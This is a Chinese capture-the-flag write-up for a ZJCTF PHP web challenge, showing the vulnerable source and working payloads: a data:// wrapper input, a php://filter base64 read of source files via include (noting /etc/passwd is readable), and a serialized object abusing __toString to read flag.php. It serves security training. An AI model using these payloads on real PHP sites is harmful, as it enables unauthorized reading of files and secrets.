知识点

  • php伪协议 data:// filter//
  • php反序列化

启动靶机

打开题目,给了我们源码

  1. <?php
  2. $text = $_GET["text"];
  3. $file = $_GET["file"];
  4. $password = $_GET["password"];
  5. if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
  6. echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
  7. if(preg_match("/flag/",$file)){
  8. echo "Not now!";
  9. exit();
  10. }else{
  11. include($file); //useless.php
  12. $password = unserialize($password);
  13. echo $password;
  14. }
  15. }
  16. else{
  17. highlight_file(__FILE__);
  18. }?>

第一个绕过:

  1. if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

这里需要我们传入一个文件且其内容为welcome to the zjctf,这样的话往后面看没有其他可以利用的点,我们就无法写入文件再读取,就剩下了一个data伪协议。data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。构造如下:

  1. data协议通常是用来执行PHP代码:
  2. text=data://text/plain,welcome to the zjctf
  3. 如果需要绕过某些过滤,可以用base64编码:
  4. text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

image.png

第二个绕过

  1. $file = $_GET["file"];
  2. if(preg_match("/flag/",$file)){
  3. echo "Not now!";
  4. exit();
  5. }else{
  6. include($file); //useless.php
  7. $password = unserialize($password);
  8. echo $password;
  9. }

这里有file参数可控,但是无法直接读取flag,可以直接读取/etc/passwd,但无法直接读取到php文件的内容,所以采用filter来读源码:

  1. php://filter/read=convert.base64-encode/resource=useless.php

读取到的useless.php经过base64解码后的内容如下:

  1. <?php
  2. class Flag{ //flag.php
  3. public $file;
  4. public function __tostring(){
  5. if(isset($this->file)){
  6. echo file_get_contents($this->file);
  7. echo "<br>";
  8. return ("U R SO CLOSE !///COME ON PLZ");
  9. }
  10. }
  11. }
  12. ?>

构造:

  1. <?php
  2. class Flag{ //flag.php
  3. public $file='flag.php';
  4. }
  5. $a = new Flag();
  6. echo serialize($a); //输出O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
  7. ?>

第三个绕过

  1. $password = unserialize($password);
  2. echo $password;

toString() 类被当成字符串时的回应方法,类被当成字符串时的回应方法,不能在此方法中抛出异常,否则会导致致命错误。所以可以将O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 通过password传参,在password被输出时,就会自动触发 tostring魔术方法,从而将flag文件读出。

所以最终payload为:

  1. http://8b3316ce-dbba-48fc-bf67-0b7bb191af13.node4.buuoj.cn:81?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源码得到flag
image.png